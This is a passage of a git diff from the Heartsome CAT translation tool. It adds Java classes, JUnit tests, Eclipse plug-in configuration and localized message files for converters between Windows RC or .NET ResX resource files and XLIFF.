\u5185\u5bb9\u7ed3\u675f\uff0c\u5f53\u524d\u65f6\u95f4\u4e3a\uff1a{} +rc.Xliff2Rc.logger3 = [LOG] \u5904\u7406 dlgInit \u5171\u7528\u65f6\uff1a{} +rc.Xliff2Rc.logger4 = [LOG] \u5f00\u59cb\u5904\u7406 dlgInitLengths\uff0c\u5f53\u524d\u65f6\u95f4\u4e3a\uff1a{} +rc.Xliff2Rc.logger5 = [LOG] \u5904\u7406 dlgInitLengths \u7ed3\u675f\uff0c\u5f53\u524d\u65f6\u95f4\u4e3a\uff1a{} +rc.Xliff2Rc.logger6 = [LOG] \u5904\u7406 dlgInitLengths \u5171\u7528\u65f6\uff1a{} + +########################## 2012-08-08 \u6dfb\u52a0 ########################################### +rc.TYPE_NAME_VALUE = Windows C/C++ resource file (RC) +rc.cancel = Exit conversion \ No newline at end of file diff --git a/hsconverter/net.heartsome.cat.converter.rc/src/net/heartsome/cat/converter/rc/resource/message_zh.properties b/hsconverter/net.heartsome.cat.converter.rc/src/net/heartsome/cat/converter/rc/resource/message_zh.properties new file mode 100644 index 0000000..f52bfdb --- /dev/null +++ b/hsconverter/net.heartsome.cat.converter.rc/src/net/heartsome/cat/converter/rc/resource/message_zh.properties @@ -0,0 +1,20 @@ +rc.Rc2Xliff.task1 = \u6b63\u5728\u8f6c\u6362... +rc.Rc2Xliff.msg1 = RC \u8f6c\u6362 XLIFF \u5931\u8d25\uff0c\u8bf7\u91cd\u8bd5\u3002 + +#rc.Xliff2Rc.task1 = \u6b63\u5728\u8f6c\u6362... +rc.Xliff2Rc.task2 = \u6b63\u5728\u52a0\u8f7d XLIFF \u6587\u4ef6... +rc.Xliff2Rc.task3 = \u6b63\u5728\u5904\u7406 dlgInit \u5185\u5bb9... +rc.Xliff2Rc.task4 = \u6b63\u5728\u66ff\u6362\u9aa8\u67b6\u6587\u4ef6\u4e2d\u7684\u6587\u672c\u6bb5\u6807\u8bc6\u7b26... +rc.Xliff2Rc.task5 = \u6b63\u5728\u5904\u7406 dlgInitLengths ... +rc.Xliff2Rc.msg1 = \u65e0\u6cd5\u627e\u5230\u6587\u672c\u6bb5 {0}\uff0c\u8be5 XLIFF \u6587\u4ef6\u53ef\u80fd\u5df2\u7ecf\u53d7\u635f\uff0c\u8bf7\u5c1d\u8bd5\u6309\u5982\u4e0b\u6b65\u9aa4\u4fee\u590d\uff1a\n1. \u5c06\u8be5 XLIFF \u6587\u4ef6\u4e2d\u7684\u6240\u6709\u6587\u672c\u6bb5\u5165\u5e93\uff1b\n2. \u5907\u4efd\u8be5 XLIFF \u6587\u4ef6\uff08\u76f4\u63a5\u590d\u5236 XLIFF \u6587\u4ef6\u5939\u6216\u5bfc\u51fa\u6574\u4e2a\u9879\u76ee\uff09\uff1b\n3. \u91cd\u65b0\u8f6c\u6362\u6e90\u6587\u4ef6\u4e3a XLIFF\u3001\u5e76\u9884\u7ffb\u8bd1\uff1b\n4. \u7528\u4e0a\u4e00\u6b65\u5f97\u5230\u7684 XLIFF \u6587\u4ef6\u518d\u6b21\u91cd\u8bd5\u6b64\u6b21\u8f6c\u6362\u3002 +rc.Xliff2Rc.msg2 = XLIFF \u8f6c\u6362 RC \u5931\u8d25\uff0c\u8bf7\u91cd\u8bd5\u3002 +rc.Xliff2Rc.logger1 = [LOG] \u5904\u7406 dlgInit \u5185\u5bb9\u5f00\u59cb\uff0c\u5f53\u524d\u65f6\u95f4\u4e3a\uff1a{} +rc.Xliff2Rc.logger2 = [LOG] \u5904\u7406 dlgInit \u5185\u5bb9\u7ed3\u675f\uff0c\u5f53\u524d\u65f6\u95f4\u4e3a\uff1a{} +rc.Xliff2Rc.logger3 = [LOG] \u5904\u7406 dlgInit \u5171\u7528\u65f6\uff1a{} +rc.Xliff2Rc.logger4 = [LOG] \u5f00\u59cb\u5904\u7406 dlgInitLengths\uff0c\u5f53\u524d\u65f6\u95f4\u4e3a\uff1a{} +rc.Xliff2Rc.logger5 = [LOG] \u5904\u7406 dlgInitLengths \u7ed3\u675f\uff0c\u5f53\u524d\u65f6\u95f4\u4e3a\uff1a{} +rc.Xliff2Rc.logger6 = [LOG] \u5904\u7406 dlgInitLengths \u5171\u7528\u65f6\uff1a{} + +########################## 2012-08-08 \u6dfb\u52a0 ########################################### +rc.TYPE_NAME_VALUE = Windows C/C++ \u8d44\u6e90\u6587\u4ef6 (RC) +rc.cancel = \u9000\u51fa\u8f6c\u6362 \ No newline at end of file diff --git a/hsconverter/net.heartsome.cat.converter.rc/testSrc/net/heartsome/cat/converter/rc/test/Rc2XliffTest.java b/hsconverter/net.heartsome.cat.converter.rc/testSrc/net/heartsome/cat/converter/rc/test/Rc2XliffTest.java new file mode 100644 index 0000000..b8e476a --- /dev/null +++ b/hsconverter/net.heartsome.cat.converter.rc/testSrc/net/heartsome/cat/converter/rc/test/Rc2XliffTest.java @@ -0,0 +1,54 @@ +package net.heartsome.cat.converter.rc.test; + +import static org.junit.Assert.assertNotNull; +import static org.junit.Assert.assertTrue; + +import java.io.File; +import java.util.HashMap; +import java.util.Map; + +import net.heartsome.cat.converter.Converter; +import net.heartsome.cat.converter.ConverterException; +import net.heartsome.cat.converter.rc.Rc2Xliff; + +import org.junit.Before; +import org.junit.Test; + +public class Rc2XliffTest { + public static Rc2Xliff converter = new Rc2Xliff(); + private static String srcFile = "rc/Test.rc"; + private static String xlfFile = "rc/Test.rc.xlf"; + private static String sklFile = "rc/Test.rc.skl"; + + @Before + public void setUp(){ + File skl = new File(sklFile); + if(skl.exists()){ + skl.delete(); + } + + File xlf = new File(xlfFile); + if(xlf.exists()){ + xlf.delete(); + } + } + + @Test + public void testConvert() throws ConverterException { + Map args = new HashMap(); + args.put(Converter.ATTR_SOURCE_FILE, srcFile); //$NON-NLS-1$ + args.put(Converter.ATTR_XLIFF_FILE, xlfFile); //$NON-NLS-1$ + args.put(Converter.ATTR_SKELETON_FILE, sklFile); //$NON-NLS-1$ + args.put(Converter.ATTR_SOURCE_LANGUAGE, "en-US"); //$NON-NLS-1$ + args.put(Converter.ATTR_SOURCE_ENCODING, "UTF-8"); //$NON-NLS-1$ + + Map result = converter.convert(args, null); + String xliff = result.get(Converter.ATTR_XLIFF_FILE); + assertNotNull(xliff); + + File xlfFile = new File(xliff); + assertNotNull(xlfFile); + assertTrue(xlfFile.exists()); + } + +} diff --git a/hsconverter/net.heartsome.cat.converter.rc/testSrc/net/heartsome/cat/converter/rc/test/Xliff2RcTest.java b/hsconverter/net.heartsome.cat.converter.rc/testSrc/net/heartsome/cat/converter/rc/test/Xliff2RcTest.java new file mode 100644 index 0000000..773ec2f --- /dev/null +++ b/hsconverter/net.heartsome.cat.converter.rc/testSrc/net/heartsome/cat/converter/rc/test/Xliff2RcTest.java @@ -0,0 +1,50 @@ +package net.heartsome.cat.converter.rc.test; + +import static org.junit.Assert.assertNotNull; +import static org.junit.Assert.assertTrue; + +import java.io.File; +import java.util.HashMap; +import java.util.Map; + +import net.heartsome.cat.converter.Converter; +import net.heartsome.cat.converter.ConverterException; +import net.heartsome.cat.converter.rc.Xliff2Rc; + +import org.junit.Before; +import org.junit.Test; + +public class Xliff2RcTest { + public static Xliff2Rc converter = new Xliff2Rc(); + private static String tgtFile = "rc/Test_zh-CN.rc"; + private static String xlfFile = "rc/Test.rc.xlf"; + private static String sklFile = "rc/Test.rc.skl"; + + @Before + public void setUp(){ + File tgt = new File(tgtFile); + if(tgt.exists()){ + tgt.delete(); + } + } + + @Test + public void testConvert() throws ConverterException { + String rootFolder = "/data/john/Workspaces/CAT/HSTS7/"; + Map args = new HashMap(); + args.put(Converter.ATTR_TARGET_FILE, tgtFile); //$NON-NLS-1$ + args.put(Converter.ATTR_XLIFF_FILE, xlfFile); //$NON-NLS-1$ + args.put(Converter.ATTR_SKELETON_FILE, sklFile); //$NON-NLS-1$ + args.put(Converter.ATTR_SOURCE_ENCODING,"UTF-8"); + args.put(Converter.ATTR_CATALOGUE, rootFolder + + "catalogue/catalogue.xml"); + + Map result = converter.convert(args, null); + String target = result.get(Converter.ATTR_TARGET_FILE); + assertNotNull(target); + + File tgtFile = new File(target); + assertNotNull(tgtFile); + assertTrue(tgtFile.exists()); + } +} diff --git a/hsconverter/net.heartsome.cat.converter.resx/.classpath b/hsconverter/net.heartsome.cat.converter.resx/.classpath new file mode 100644 index 0000000..64c5e31 --- /dev/null +++ b/hsconverter/net.heartsome.cat.converter.resx/.classpath @@ -0,0 +1,7 @@ + + + + + + + diff --git a/hsconverter/net.heartsome.cat.converter.resx/.project b/hsconverter/net.heartsome.cat.converter.resx/.project new file mode 100644 index 0000000..350134f --- /dev/null +++ b/hsconverter/net.heartsome.cat.converter.resx/.project @@ -0,0 +1,28 @@ + + + net.heartsome.cat.converter.resx + + + + + + org.eclipse.jdt.core.javabuilder + + + + + org.eclipse.pde.ManifestBuilder + + + + + org.eclipse.pde.SchemaBuilder + + + + + + org.eclipse.pde.PluginNature + org.eclipse.jdt.core.javanature + + diff --git a/hsconverter/net.heartsome.cat.converter.resx/.settings/org.eclipse.jdt.core.prefs b/hsconverter/net.heartsome.cat.converter.resx/.settings/org.eclipse.jdt.core.prefs new file mode 100644 index 0000000..25039f4 --- /dev/null +++ b/hsconverter/net.heartsome.cat.converter.resx/.settings/org.eclipse.jdt.core.prefs @@ -0,0 +1,8 @@ +#Fri Jun 11 18:15:20 GMT+08:00 2010 +eclipse.preferences.version=1 +org.eclipse.jdt.core.compiler.codegen.inlineJsrBytecode=enabled +org.eclipse.jdt.core.compiler.codegen.targetPlatform=1.5 +org.eclipse.jdt.core.compiler.compliance=1.5 +org.eclipse.jdt.core.compiler.problem.assertIdentifier=error +org.eclipse.jdt.core.compiler.problem.enumIdentifier=error +org.eclipse.jdt.core.compiler.source=1.5 diff --git a/hsconverter/net.heartsome.cat.converter.resx/META-INF/MANIFEST.MF b/hsconverter/net.heartsome.cat.converter.resx/META-INF/MANIFEST.MF new file mode 100644 index 0000000..18cd11c --- /dev/null +++ b/hsconverter/net.heartsome.cat.converter.resx/META-INF/MANIFEST.MF @@ -0,0 +1,16 @@ +Manifest-Version: 1.0 +Bundle-ManifestVersion: 2 +Bundle-Name: Heartsome CAT Converter Resx +Bundle-SymbolicName: net.heartsome.cat.converter.resx +Bundle-Version: 8.0.2.R8b_v20130408 +Bundle-Activator: net.heartsome.cat.converter.resx.Activator +Require-Bundle: org.junit4;resolution:=optional, + net.heartsome.cat.converter;bundle-version="1.0.0" +Bundle-ActivationPolicy: lazy +Bundle-RequiredExecutionEnvironment: J2SE-1.5 +Import-Package: net.heartsome.cat.converter.xml, + org.eclipse.core.runtime;version="3.4.0", + org.osgi.framework;version="1.5.0", + org.osgi.util.tracker;version="1.4.2", + org.slf4j +Bundle-Vendor: Heartsome Technologies Ltd. diff --git a/hsconverter/net.heartsome.cat.converter.resx/build.properties b/hsconverter/net.heartsome.cat.converter.resx/build.properties new file mode 100644 index 0000000..7aaf591 --- /dev/null +++ b/hsconverter/net.heartsome.cat.converter.resx/build.properties @@ -0,0 +1,5 @@ +javacDefaultEncoding.. = UTF-8 +source.. = src/ +output.. = bin/ +bin.includes = META-INF/,\ + . diff --git a/hsconverter/net.heartsome.cat.converter.resx/src/net/heartsome/cat/converter/resx/Activator.java b/hsconverter/net.heartsome.cat.converter.resx/src/net/heartsome/cat/converter/resx/Activator.java new file mode 100644 index 0000000..ecd20d2 --- /dev/null +++ b/hsconverter/net.heartsome.cat.converter.resx/src/net/heartsome/cat/converter/resx/Activator.java @@ -0,0 +1,234 @@ +/** + * Activator.java + * + * Version information : + * + * Date:Jan 14, 2010 + * + * Copyright notice : + */ +package net.heartsome.cat.converter.resx; + +import java.util.Properties; + +import net.heartsome.cat.converter.Converter; +import net.heartsome.cat.converter.util.AndFilter; +import net.heartsome.cat.converter.util.ConverterRegister; +import net.heartsome.cat.converter.util.EqFilter; +import net.heartsome.cat.converter.xml.Xliff2Xml; +import net.heartsome.cat.converter.xml.Xml2Xliff; + +import org.osgi.framework.BundleActivator; +import org.osgi.framework.BundleContext; +import org.osgi.framework.Constants; +import org.osgi.framework.ServiceReference; +import org.osgi.framework.ServiceRegistration; +import org.osgi.util.tracker.ServiceTracker; +import org.osgi.util.tracker.ServiceTrackerCustomizer; + +/** + * The Class Activator.The activator class controls the plug-in life cycle. + * @author John Zhu + * @version + * @since JDK1.6 + */ +public class Activator implements BundleActivator { + + /** The Constant PLUGIN_ID. */ + public static final String PLUGIN_ID = "net.heartsome.cat.converter.resx"; + + // The shared instance + /** The plugin. */ + private static Activator plugin; + + /** The bundle context. */ + private static BundleContext bundleContext; + + /** The positive tracker. */ + private static ServiceTracker positiveTracker; + + /** The reverse tracker. */ + private static ServiceTracker reverseTracker; + + /** + * The constructor. + */ + public Activator() { + } + + /** + * (non-Javadoc) + * @see org.osgi.framework.BundleActivator#start(org.osgi.framework.BundleContext) + * @param context + * @throws Exception + */ + public void start(BundleContext context) throws Exception { + plugin = this; + bundleContext = context; + // tracker the xml converter service + String positiveFilter = new AndFilter(new EqFilter(Constants.OBJECTCLASS, Converter.class.getName()), + new EqFilter(Converter.ATTR_TYPE, Xml2Xliff.TYPE_VALUE), new EqFilter(Converter.ATTR_DIRECTION, + Converter.DIRECTION_POSITIVE)).toString(); + positiveTracker = new ServiceTracker(context, context.createFilter(positiveFilter), new XmlPositiveCustomizer()); + positiveTracker.open(); + + String reverseFilter = new AndFilter(new EqFilter(Constants.OBJECTCLASS, Converter.class.getName()), + new EqFilter(Converter.ATTR_TYPE, Xliff2Xml.TYPE_VALUE), new EqFilter(Converter.ATTR_DIRECTION, + Converter.DIRECTION_REVERSE)).toString(); + reverseTracker = new ServiceTracker(context, context.createFilter(reverseFilter), new XmlReverseCustomize()); + reverseTracker.open(); + + } + + /** + * (non-Javadoc) + * @see org.osgi.framework.BundleActivator#stop(org.osgi.framework.BundleContext) + * @param context + * @throws Exception + */ + public void stop(BundleContext context) throws Exception { + positiveTracker.close(); + reverseTracker.close(); + plugin = null; + bundleContext = null; + } + + /** + * Returns the shared instance. + * @return the shared instance + */ + public static Activator getDefault() { + return plugin; + } + + // just for test + /** + * Gets the xML converter. + * @param direction + * the direction + * @return the xML converter + */ + public static Converter getXMLConverter(String direction) { + if (Converter.DIRECTION_POSITIVE.equals(direction)) { + return new Xml2Xliff(); + } else { + return new Xliff2Xml(); + } + } + + /** + * The Class XmlPositiveCustomizer. + * @author John Zhu + * @version + * @since JDK1.6 + */ + private class XmlPositiveCustomizer implements ServiceTrackerCustomizer { + + /** + * (non-Javadoc). + * @param reference + * the reference + * @return the object + * @see org.osgi.util.tracker.ServiceTrackerCustomizer#addingService(org.osgi.framework.ServiceReference) + */ + public Object addingService(ServiceReference reference) { + Converter converter = (Converter) bundleContext.getService(reference); + // register the converter services + Converter resx2Xliff = new Resx2Xliff(converter); + Properties properties = new Properties(); + properties.put(Converter.ATTR_NAME, Resx2Xliff.NAME_VALUE); + properties.put(Converter.ATTR_TYPE, Resx2Xliff.TYPE_VALUE); + properties.put(Converter.ATTR_TYPE_NAME, Resx2Xliff.TYPE_NAME_VALUE); + ServiceRegistration registration = ConverterRegister.registerPositiveConverter(bundleContext, resx2Xliff, + properties); + return registration; + } + + /** + * (non-Javadoc). + * @param reference + * the reference + * @param service + * the service + * @see org.osgi.util.tracker.ServiceTrackerCustomizer#modifiedService(org.osgi.framework.ServiceReference, + * java.lang.Object) + */ + public void modifiedService(ServiceReference reference, Object service) { + + } + + /** + * (non-Javadoc). + * @param reference + * the reference + * @param service + * the service + * @see org.osgi.util.tracker.ServiceTrackerCustomizer#removedService(org.osgi.framework.ServiceReference, + * java.lang.Object) + */ + public void removedService(ServiceReference reference, Object service) { + ServiceRegistration registration = (ServiceRegistration) service; + registration.unregister(); + bundleContext.ungetService(reference); + } + + } + + /** + * The Class XmlReverseCustomize. + * @author John Zhu + * @version + * @since JDK1.6 + */ + private class XmlReverseCustomize implements ServiceTrackerCustomizer { + + /** + * (non-Javadoc). + * @param reference + * the reference + * @return the object + * @see org.osgi.util.tracker.ServiceTrackerCustomizer#addingService(org.osgi.framework.ServiceReference) + */ + public Object addingService(ServiceReference reference) { + Converter converter = (Converter) bundleContext.getService(reference); + Converter xliff2Resx = new Xliff2Resx(converter); + Properties properties = new Properties(); + properties.put(Converter.ATTR_NAME, Xliff2Resx.NAME_VALUE); + properties.put(Converter.ATTR_TYPE, Xliff2Resx.TYPE_VALUE); + properties.put(Converter.ATTR_TYPE_NAME, Xliff2Resx.TYPE_NAME_VALUE); + ServiceRegistration registration = ConverterRegister.registerReverseConverter(bundleContext, xliff2Resx, + properties); + return registration; + } + + /** + * (non-Javadoc). + * @param reference + * the reference + * @param service + * the service + * @see org.osgi.util.tracker.ServiceTrackerCustomizer#modifiedService(org.osgi.framework.ServiceReference, + * java.lang.Object) + */ + public void modifiedService(ServiceReference reference, Object service) { + + } + + /** + * (non-Javadoc). + * @param reference + * the reference + * @param service + * the service + * @see org.osgi.util.tracker.ServiceTrackerCustomizer#removedService(org.osgi.framework.ServiceReference, + * java.lang.Object) + */ + public void removedService(ServiceReference reference, Object service) { + ServiceRegistration registration = (ServiceRegistration) service; + registration.unregister(); + bundleContext.ungetService(reference); + } + + } + +} diff --git a/hsconverter/net.heartsome.cat.converter.resx/src/net/heartsome/cat/converter/resx/Resx2Xliff.java b/hsconverter/net.heartsome.cat.converter.resx/src/net/heartsome/cat/converter/resx/Resx2Xliff.java new file mode 100644 index 0000000..bc247eb --- /dev/null +++ b/hsconverter/net.heartsome.cat.converter.resx/src/net/heartsome/cat/converter/resx/Resx2Xliff.java @@ -0,0 +1,283 @@ +/** + * Resx2Xliff.java + * + * Version information : + * + * Date:Jan 14, 2010 + * + * Copyright notice : + */ +package net.heartsome.cat.converter.resx; + +import java.io.File; +import java.io.FileOutputStream; +import java.util.HashMap; +import java.util.List; +import java.util.Map; + +import net.heartsome.cat.converter.Converter; +import net.heartsome.cat.converter.ConverterException; +import net.heartsome.cat.converter.resx.resource.Messages; +import net.heartsome.cat.converter.util.ConverterUtils; +import net.heartsome.cat.converter.util.Progress; +import net.heartsome.xml.Catalogue; +import net.heartsome.xml.Document; +import net.heartsome.xml.Element; +import net.heartsome.xml.SAXBuilder; +import net.heartsome.xml.XMLOutputter; + +import org.eclipse.core.runtime.IProgressMonitor; +import org.eclipse.core.runtime.OperationCanceledException; +import org.w3c.dom.Node; + +/** + * The Class Resx2Xliff. + * @author John Zhu + */ +public class Resx2Xliff implements Converter { + + /** The Constant TYPE_VALUE. */ + public static final String TYPE_VALUE = "resx"; + + /** The Constant TYPE_NAME_VALUE. */ + public static final String TYPE_NAME_VALUE = Messages.getString("resx.TYPE_NAME_VALUE"); + + /** The Constant NAME_VALUE. */ + public static final String NAME_VALUE = "ResX to XLIFF Conveter"; + + // 内部实现所ä¾èµ–的转æ¢å™¨ + /** The dependant converter. */ + private Converter dependantConverter; + + /** + * for test to initialize depend on converter. + */ + public Resx2Xliff() { + dependantConverter = Activator.getXMLConverter(Converter.DIRECTION_POSITIVE); + } + + /** + * è¿è¡Œæ—¶æŠŠæ‰€ä¾èµ–的转æ¢å™¨ï¼Œåœ¨åˆå§‹åŒ–的时候通过构造函数注入。. + * @param converter + * the converter + */ + public Resx2Xliff(Converter converter) { + dependantConverter = converter; + } + + /** + * (non-Javadoc) + * @see net.heartsome.cat.converter.Converter#convert(java.util.Map, org.eclipse.core.runtime.IProgressMonitor) + * @param args + * @param monitor + * @return + * @throws ConverterException + */ + public Map convert(Map args, IProgressMonitor monitor) throws ConverterException { + Resx2XliffImpl converter = new Resx2XliffImpl(); + args.put(Converter.ATTR_FORMAT, TYPE_VALUE); + args.put(Converter.ATTR_IS_RESX, Converter.TRUE); + return converter.run(args, monitor); + } + + /** + * (non-Javadoc) + * @see net.heartsome.cat.converter.Converter#getName() + * @return + */ + public String getName() { + return NAME_VALUE; + } + + /** + * (non-Javadoc) + * @see net.heartsome.cat.converter.Converter#getType() + * @return + */ + public String getType() { + return TYPE_VALUE; + } + + /** + * (non-Javadoc) + * @see net.heartsome.cat.converter.Converter#getTypeName() + * @return + */ + public String getTypeName() { + return TYPE_NAME_VALUE; + } + + /** + * The Class Resx2XliffImpl. + * @author John Zhu + * @version + * @since JDK1.6 + */ + class Resx2XliffImpl { + + /** The xml resx. */ + private Document xmlResx; // Temporary xml for the conversion + + /** The input file. */ + private String inputFile; + + /** + * Run. + * @param params + * the params + * @param monitor + * the monitor + * @return the map< string, string> + * @throws ConverterException + * the converter exception + */ + public Map run(Map params, IProgressMonitor monitor) throws ConverterException { + monitor = Progress.getMonitor(monitor); + Map result = new HashMap(); + try { + // 把转æ¢è¿‡ç¨‹åˆ†ä¸ºå››éƒ¨åˆ†ï¼šæž„建æºæ–‡ä»¶çš„ dom tree,处ç†å†…容节点,输出临时的 xml 文件,委托其它转æ¢å™¨å¯¹ xml 文件进行转æ¢ã€‚ + monitor.beginTask("", 4); + inputFile = params.get(Converter.ATTR_SOURCE_FILE); + String catalogue = params.get(Converter.ATTR_CATALOGUE); + + // 检查是å¦å–消æ“作 + if (monitor.isCanceled()) { + throw new OperationCanceledException(Messages.getString("resx.cancel")); + } + monitor.subTask(Messages.getString("resx.Resx2Xliff.task2")); + xmlResx = openXml(inputFile, catalogue); + monitor.worked(1); + + Element root = xmlResx.getRootElement(); + List lstNodes = root.getChildren(); + // 处ç†å„个内容节点 + IProgressMonitor subMonitor = Progress.getSubMonitor(monitor, 1); + subMonitor.beginTask(Messages.getString("resx.Resx2Xliff.task3"), lstNodes.size()); + subMonitor.subTask(""); + for (int i = 0; i < lstNodes.size(); i++) { + // 检查是å¦å–消æ“作 + if (subMonitor.isCanceled()) { + throw new OperationCanceledException(Messages.getString("resx.cancel")); + } + Element node = lstNodes.get(i); + if (node.getName().equals("data")) { //$NON-NLS-1$ + if (isTrans(node) && !isSkipCommand(node)) { + List lstChilds = node.getContent(); + for (int j = 0; j < lstChilds.size(); j++) { + Node childNode = lstChilds.get(j); + if (childNode.getNodeType() == Node.ELEMENT_NODE) { + Element eChild = new Element(childNode); + if (eChild.getName().equals("value")) { //$NON-NLS-1$ + Element newChild = new Element("translate", xmlResx); //$NON-NLS-1$ + newChild.clone(eChild, xmlResx); + lstChilds.set(j, newChild.getElement()); + } + } + } + node.setContent(lstChilds); + } + } + subMonitor.worked(1); + } + subMonitor.done(); + + File tempFile = File.createTempFile("tempResx", ".tmp"); //$NON-NLS-1$ //$NON-NLS-2$ + inputFile = tempFile.getAbsolutePath(); + + // 输出 xliff 文件 + if (monitor.isCanceled()) { + throw new OperationCanceledException(Messages.getString("resx.cancel")); + } + monitor.subTask(Messages.getString("resx.Resx2Xliff.task4")); + saveXml(xmlResx, inputFile); + monitor.worked(1); + params.put(Converter.ATTR_SOURCE_FILE, inputFile); + params.put(Converter.ATTR_IS_RESX, Converter.TRUE); + result = dependantConverter.convert(params, Progress.getSubMonitor(monitor, 1)); + tempFile.delete(); + } catch (OperationCanceledException e) { + throw e; + } catch (Exception e) { + if (Converter.DEBUG_MODE) { + e.printStackTrace(); + } + + ConverterUtils.throwConverterException(Activator.PLUGIN_ID, Messages.getString("resx.Resx2Xliff.msg1"), e); + } finally { + monitor.done(); + } + return result; + } + + /** + * Open xml. + * @param filename + * the filename + * @param catalogue + * the catalogue + * @return the document + * @throws Exception + * the exception + */ + private Document openXml(String filename, String catalogue) throws Exception { + SAXBuilder builder = new SAXBuilder(); + builder.setEntityResolver(new Catalogue(catalogue)); + return builder.build(filename); + } + + // Save the xml to a file + /** + * Save xml. + * @param xmlDoc + * the xml doc + * @param xmlFile + * the xml file + * @throws Exception + * the exception + */ + private void saveXml(Document xmlDoc, String xmlFile) throws Exception { + XMLOutputter outputter = new XMLOutputter(); + outputter.preserveSpace(true); + FileOutputStream soutput = new FileOutputStream(xmlFile); + outputter.output(xmlDoc, soutput); + soutput.close(); + } + } + + /* + * Each data row contains a name, and value. The row also contains a type or mimetype. Type corresponds to a .NET + * class that support text/value conversion. Classes that don't support this are serialized and stored with the + * mimetype set. + */ + /** + * Checks if is trans. + * @param node + * the node + * @return true, if is trans + */ + private static boolean isTrans(Element node) { + if (node.getAttribute("mimetype") != null) { //$NON-NLS-1$ + if (!node.getAttributeValue("mimetype").trim().equals("")) { //$NON-NLS-1$ //$NON-NLS-2$ + return false; + } + } + return true; + } + + /** + * Checks if is skip command. + * @param node + * the node + * @return true, if is skip command + */ + private static boolean isSkipCommand(Element node) { + // Search for the _skip command in comment tag + List children = node.getChildren("comment"); //$NON-NLS-1$ + for (int i = 0; i < children.size(); i++) { + if (children.get(i).getText().equalsIgnoreCase("_skip")) { //$NON-NLS-1$ + return true; + } + } + return false; + } +} \ No newline at end of file diff --git a/hsconverter/net.heartsome.cat.converter.resx/src/net/heartsome/cat/converter/resx/Xliff2Resx.java b/hsconverter/net.heartsome.cat.converter.resx/src/net/heartsome/cat/converter/resx/Xliff2Resx.java new file mode 100644 index 0000000..af076e0 --- /dev/null +++ b/hsconverter/net.heartsome.cat.converter.resx/src/net/heartsome/cat/converter/resx/Xliff2Resx.java @@ -0,0 +1,293 @@ +/** + * Xliff2Resx.java + * + * Version information : + * + * Date:Jan 14, 2010 + * + * Copyright notice : + */ +package net.heartsome.cat.converter.resx; + +/** + * @author Pablo + * + */ + +import java.io.File; +import java.io.FileOutputStream; +import java.util.HashMap; +import java.util.List; +import java.util.Map; + +import net.heartsome.cat.converter.Converter; +import net.heartsome.cat.converter.ConverterException; +import net.heartsome.cat.converter.resx.resource.Messages; +import net.heartsome.cat.converter.util.ConverterUtils; +import net.heartsome.cat.converter.util.Progress; +import net.heartsome.cat.converter.util.ReverseConversionInfoLogRecord; +import net.heartsome.xml.Catalogue; +import net.heartsome.xml.Document; +import net.heartsome.xml.Element; +import net.heartsome.xml.SAXBuilder; +import net.heartsome.xml.XMLOutputter; + +import org.eclipse.core.runtime.IProgressMonitor; +import org.eclipse.core.runtime.OperationCanceledException; +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; +import org.w3c.dom.Node; + +/** + * The Class Xliff2Resx. + * @author John Zhu + */ +public class Xliff2Resx implements Converter { + + private static final Logger LOGGER = LoggerFactory.getLogger(Xliff2Resx.class); + + /** The Constant TYPE_VALUE. */ + public static final String TYPE_VALUE = "resx"; + + /** The Constant TYPE_NAME_VALUE. */ + public static final String TYPE_NAME_VALUE = Messages.getString("resx.TYPE_NAME_VALUE"); + + /** The Constant NAME_VALUE. */ + public static final String NAME_VALUE = "XLIFF to ResX Conveter"; + + // 内部实现所ä¾èµ–的转æ¢å™¨ + /** The dependant converter. */ + private Converter dependantConverter; + + /** + * for test to initialize depend on converter. + */ + public Xliff2Resx() { + dependantConverter = Activator.getXMLConverter(Converter.DIRECTION_REVERSE); + } + + /** + * è¿è¡Œæ—¶æŠŠæ‰€ä¾èµ–的转æ¢å™¨ï¼Œåœ¨åˆå§‹åŒ–的时候通过构造函数注入。. + * @param converter + * the converter + */ + public Xliff2Resx(Converter converter) { + dependantConverter = converter; + } + + /** + * (non-Javadoc) + * @see net.heartsome.cat.converter.Converter#convert(java.util.Map, org.eclipse.core.runtime.IProgressMonitor) + * @param args + * @param monitor + * @return + * @throws ConverterException + */ + public Map convert(Map args, IProgressMonitor monitor) throws ConverterException { + Xliff2ResxImpl converter = new Xliff2ResxImpl(); + return converter.run(args, monitor); + } + + /** + * (non-Javadoc) + * @see net.heartsome.cat.converter.Converter#getName() + * @return + */ + public String getName() { + return NAME_VALUE; + } + + /** + * (non-Javadoc) + * @see net.heartsome.cat.converter.Converter#getType() + * @return + */ + public String getType() { + return TYPE_VALUE; + } + + /** + * (non-Javadoc) + * @see net.heartsome.cat.converter.Converter#getTypeName() + * @return + */ + public String getTypeName() { + return TYPE_NAME_VALUE; + } + + /** + * The Class Xliff2ResxImpl. + * @author John Zhu + * @version + * @since JDK1.6 + */ + class Xliff2ResxImpl { + + /** The xml resx. */ + private Document xmlResx; // Temporary xml for the conversion + + /** The input file. */ + private String inputFile; + + /** + * Run. + * @param params + * the params + * @param monitor + * the monitor + * @return the map< string, string> + * @throws ConverterException + * the converter exception + */ + public Map run(Map params, IProgressMonitor monitor) throws ConverterException { + monitor = Progress.getMonitor(monitor); + ReverseConversionInfoLogRecord infoLogger = ConverterUtils.getReverseConversionInfoLogRecord(); + infoLogger.startConversion(); + Map result = new HashMap(); + try { + // 把转æ¢è¿‡ç¨‹åˆ†ä¸ºå››å¤§éƒ¨åˆ†å…± 10 个任务,其中委派其它转æ¢å™¨è¿›è¡Œè½¬æ¢å  5,读中间 xliff æ–‡ä»¶å  2,处ç†æ‰€è¯»å–çš„ xliff æ–‡ä»¶å  1,写 xliff æ–‡ä»¶å  2。 + monitor.beginTask("", 10); + // å§”æ´¾è¿›è¡Œè½¬æ¢ + result = dependantConverter.convert(params, Progress.getSubMonitor(monitor, 5)); + inputFile = params.get(Converter.ATTR_TARGET_FILE); + if (inputFile == null || "".equals(inputFile)) { + ConverterUtils.throwConverterException(Activator.PLUGIN_ID, + Messages.getString("resx.Xliff2Resx.msg1")); + } + + File tgtFile = new File(inputFile); + if (!tgtFile.exists()) { + ConverterUtils.throwConverterException(Activator.PLUGIN_ID, + Messages.getString("resx.Xliff2Resx.msg1")); + } + + String catalogue = params.get(Converter.ATTR_CATALOGUE); + + // 是å¦å–消æ“作 + if (monitor.isCanceled()) { + throw new OperationCanceledException(Messages.getString("resx.cancel")); + } + monitor.subTask(Messages.getString("resx.Xliff2Resx.task2")); + long startTime = 0; + if (LOGGER.isInfoEnabled()) { + startTime = System.currentTimeMillis(); + LOGGER.info(Messages.getString("resx.Xliff2Resx.logger1"), startTime); + } + xmlResx = openXml(inputFile, catalogue); + 